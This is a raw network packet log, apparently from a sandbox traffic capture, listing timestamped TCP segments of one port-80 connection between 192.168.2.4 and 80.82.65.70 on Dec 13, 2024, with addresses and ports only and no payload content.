Dec 13, 2024 03:40:50.467001915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.467024088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.467072964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.467914104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.467988014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.468048096 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.468091965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.468821049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.468951941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.469012976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.469065905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.469707012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.469738960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.469747066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.469830990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.470452070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.470499039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.470607996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.470695972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.471332073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.471388102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.471483946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.471530914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.472305059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.472330093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.472373009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.472373009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.473171949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.473205090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.473218918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.473279953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.473305941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.473383904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.473392963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.473479986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.474128962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.474189043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.474272013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.474325895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.528793097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.528832912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.528856039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.528892994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.529309988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.529345989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.529375076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.529387951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.529400110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.529468060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.530303001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.530352116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.530433893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.530503988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.531347036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.531383038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.531402111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.531466007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.531538963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.531586885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.531975031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.532013893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.532540083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.532576084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.532601118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.532644987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.533332109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.533380032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.533519983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.533603907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.534286976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.534338951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.534657955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.534728050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.535010099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.535044909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.535065889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.535118103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.535689116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.535742998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.535901070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.536019087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.537934065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.537970066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.537998915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.538023949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.538599014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.538646936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.538765907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.538827896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.539267063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.539321899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.539396048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.539444923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.539711952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.539787054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566015959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566052914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566073895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566104889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566108942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566140890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566159964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566176891 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566200018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566214085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566224098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566262960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566673994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566725969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.566808939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.566855907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.567621946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.567665100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.568808079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.568866968 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.570211887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.570246935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.570255995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.570322990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.570508003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.570540905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.570621967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.570835114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.570895910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.571005106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.571043968 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.571733952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.571768999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.571835041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.571835041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.572626114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.572662115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.572777033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.572855949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.573339939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.573380947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.573388100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.573440075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.574064016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.574100018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.574126959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.574153900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.574939013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.574975014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.574980021 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.575031042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.575603008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.575649977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.644274950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.644328117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.644443989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.644486904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.644520044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.644526005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.644551992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.644566059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.644999981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.645054102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.645128012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.645170927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.645934105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.645972967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.646291018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.646337986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.647030115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.647064924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.647083044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.647106886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.647602081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.647655010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.648175001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.648232937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.648672104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.648725033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.648819923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.648885965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.649089098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.649144888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.649218082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.649265051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.650463104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.650499105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.650552034 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.650552034 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.650957108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.650993109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.651015043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.651050091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.653347015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.653424978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.653502941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.653553009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.653575897 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.653588057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.653598070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.653633118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.654145956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.654184103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.654331923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.654390097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.655050039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.655067921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.655106068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.655132055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.655726910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.655770063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.655891895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.655936956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.656816006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.656832933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.656862974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.656905890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.657341003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.657385111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.657519102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.657556057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.658231020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.658271074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.658406973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.658468008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.659081936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.659135103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.659256935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.659307957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.659853935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.659898996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.660027027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.660065889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.660737991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.660784960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.660918951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.660960913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.661458969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.661509037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.661631107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.661690950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.662412882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.662482977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.662585974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.662630081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.663181067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.663280010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.663362980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.663408995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.664022923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.664066076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.664201975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.664258003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.664817095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.664879084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.665003061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.665054083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.665581942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.665627956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.665815115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.665914059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.720757961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.720810890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.720895052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.720933914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.721106052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.721154928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.721205950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.721275091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.721916914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.721973896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.722043991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.722104073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.722723961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.722786903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.722852945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.722922087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.723555088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.723619938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.723675966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.723731995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.724356890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.724414110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.724482059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.724534035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.725169897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.725218058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.725301027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.725358009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.726000071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.726047039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.726110935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.726162910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.726799965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.726854086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.726917982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.726989985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.727613926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.727665901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.727732897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.727807045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.728435993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.728511095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.728554964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.728652954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.729279995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.729392052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.729438066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.729438066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.730083942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.730165958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.730214119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.730264902 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.730894089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.730933905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.756985903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.757070065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.757405043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.757457972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.757461071 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.757497072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.757523060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.757589102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.758111954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.758166075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.758223057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.758299112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.758928061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.758981943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.759048939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.759104967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.759741068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.759860992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.759871006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.760112047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.760546923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.760598898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.760648966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.760711908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.761360884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.761420965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.761472940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.761535883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:50.762156963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:50.762206078 CET	49730	80	192.168.2.4	80.82.65.70
